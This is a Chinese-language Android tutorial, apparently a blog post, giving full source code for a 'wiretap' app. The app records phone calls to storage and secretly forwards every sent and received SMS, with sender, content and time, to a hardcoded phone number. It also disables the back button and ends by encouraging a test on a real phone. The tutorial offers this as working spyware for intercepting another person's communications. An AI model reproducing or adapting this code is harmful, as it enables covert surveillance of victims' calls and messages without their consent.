首先建立一个项目工程文件,如下图所示:
首先在MainActivity.java文件启动电话和短信的界面,代码如下
1 package com.xunfang.wiretap; 2 3 import com.xunfang.observer.MyObserver; 4 import com.xunfang.services.PhoneService; 5 6 import android.support.v7.app.ActionBarActivity; 7 import android.content.Intent; 8 import android.net.Uri; 9 import android.os.Bundle;10 import android.os.Handler;11 import android.view.Menu;12 import android.view.MenuItem;13 14 15 public class MainActivity extends ActionBarActivity {16 17 @Override18 protected void onCreate(Bundle savedInstanceState) {19 super.onCreate(savedInstanceState);20 //电话21 setContentView(R.layout.activity_main);22 Intent intent = new Intent(this,PhoneService.class);23 startService(intent);24 //短信25 Uri uri = Uri.parse("conten://sms");26 getContentResolver().registerContentObserver(uri, true, new MyObserver(this,new Handler()));27 28 }29 @Override30 public void onBackPressed() {31 }32 }
然后进入电话管理服务界面PhoeService.java界面。代码如下
1 package com.xunfang.phoneservice; 2 3 import java.io.IOException; 4 5 import android.app.Service; 6 import android.content.Intent; 7 import android.media.MediaRecorder; 8 import android.os.IBinder; 9 import android.telephony.PhoneStateListener;10 import android.telephony.TelephonyManager;11 12 public class PhoneService extends Service {13 14 // 管理电话15 private TelephonyManager tm;16 17 private MyListener listener;18 19 // 创建一个收音机20 private MediaRecorder mr;21 22 @Override23 public IBinder onBind(Intent intent) {24 return null;25 }26 27 @Override28 public void onCreate() {29 super.onCreate();30 // 实例化31 tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);32 33 // 监听电话的状态34 listener = new MyListener();35 // 注册监听者,监听电话的状态36 tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);37 }38 39 private class MyListener extends PhoneStateListener {40 @Override41 public void onCallStateChanged(int state, String incomingNumber) {42 super.onCallStateChanged(state, incomingNumber);43 44 switch (state) {45 case TelephonyManager.CALL_STATE_IDLE: // 空闲状态46 System.out.println("电话空闲");47 if (mr != null) {48 // 说明录音机停止录音了49 mr.stop();50 mr.release();51 mr = null;52 }53 break;54 case TelephonyManager.CALL_STATE_OFFHOOK: // 摘机状态(通话状态)55 System.out.println("通话状态");56 // 1.创建一个收音机57 mr = new MediaRecorder();58 // 2.设置音源59 mr.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL); // ZET60 // 3.设置录制音频的格式61 mr.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);62 // 4设置音频的采样率63 mr.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);64 // 5.设置录制的文件放置的位置65 mr.setOutputFile("/mnt/sdcard/xxx.avi");66 // 6.准备录制67 try {68 mr.prepare();69 } catch( Exception e) {70 e.printStackTrace();71 }72 // 7.开始录制73 mr.start();74 75 break;76 case TelephonyManager.CALL_STATE_RINGING: // 响铃状态77 System.out.println("响铃状态");78 break;79 }80 }81 }82 83 }
然后进入管理短信服务界面MyObserver.java,代码如下所示
1 package com.xunfang.observer; 2 3 import java.text.SimpleDateFormat; 4 import java.util.Date; 5 6 import android.content.ContentResolver; 7 import android.content.Context; 8 import android.database.ContentObserver; 9 import android.database.Cursor;10 import android.net.Uri;11 import android.os.Handler;12 import android.telephony.SmsManager;13 14 public class MyObserver extends ContentObserver {15 private Context context;16 public MyObserver(Context context,Handler handler) {17 super(handler);18 this.context = context;19 }20 21 @Override22 public void onChange(boolean selfChange, Uri uri) {23 ContentResolver resolver = context.getContentResolver();24 Cursor cursor = resolver.query(uri, new String[]{"address","body","type","date"}, null, null, "date desc");25 cursor.moveToFirst();26 String address = cursor.getString(0);27 String body = cursor.getString(1);28 int type = cursor.getInt(2);29 long date = cursor.getLong(3);30 //将日期格式化,按这个模式输出日期31 String time = new SimpleDateFormat("yyy-MM-dd hh:mm:ss").format(new Date(date));32 //type=1,表示发送短信,而type=2是表示接收短信,这个可以默认系统短信的数据库表导出来看一下33 if(type ==2 ){34 String sms = "检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time;35 String phone = "18883278692"; //这个电话号码是你要将这个信息发送到哪个人的电话号码36 //拿到默认短信管理器37 SmsManager sm = SmsManager.getDefault();38 //发送短信39 sm.sendTextMessage(phone, null, sms, null, null) ;40 System.out.println("检测的到对方的手机发送信息: 地址:" + address + " 内容:" + body + "时间 :" + time );41 }42 if(type == 1){43 String sms = "检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time;44 String phone = "18883278692"; //这个电话号码是你要将这个信息发送到哪个人的电话号码45 SmsManager sm = SmsManager.getDefault();46 sm.sendTextMessage(phone, null, sms, null, null) ;47 System.out.println("检测的到对方的手机接收到的信息: 地址:" + address + " 内容:" + body + "时间 :" + time );48 }49 }50 51 52 }
代码到这里就差不多了,不过千万不要忘了添加权限和服务的申明,在AndroidManifest.xml配置如下
1 26 7 10 11 12 13 14 15 16 17 18 19 20 25 34 36 39 45 46 4740 4443
到这里已经全部配置完成,可以用真实机进行测试。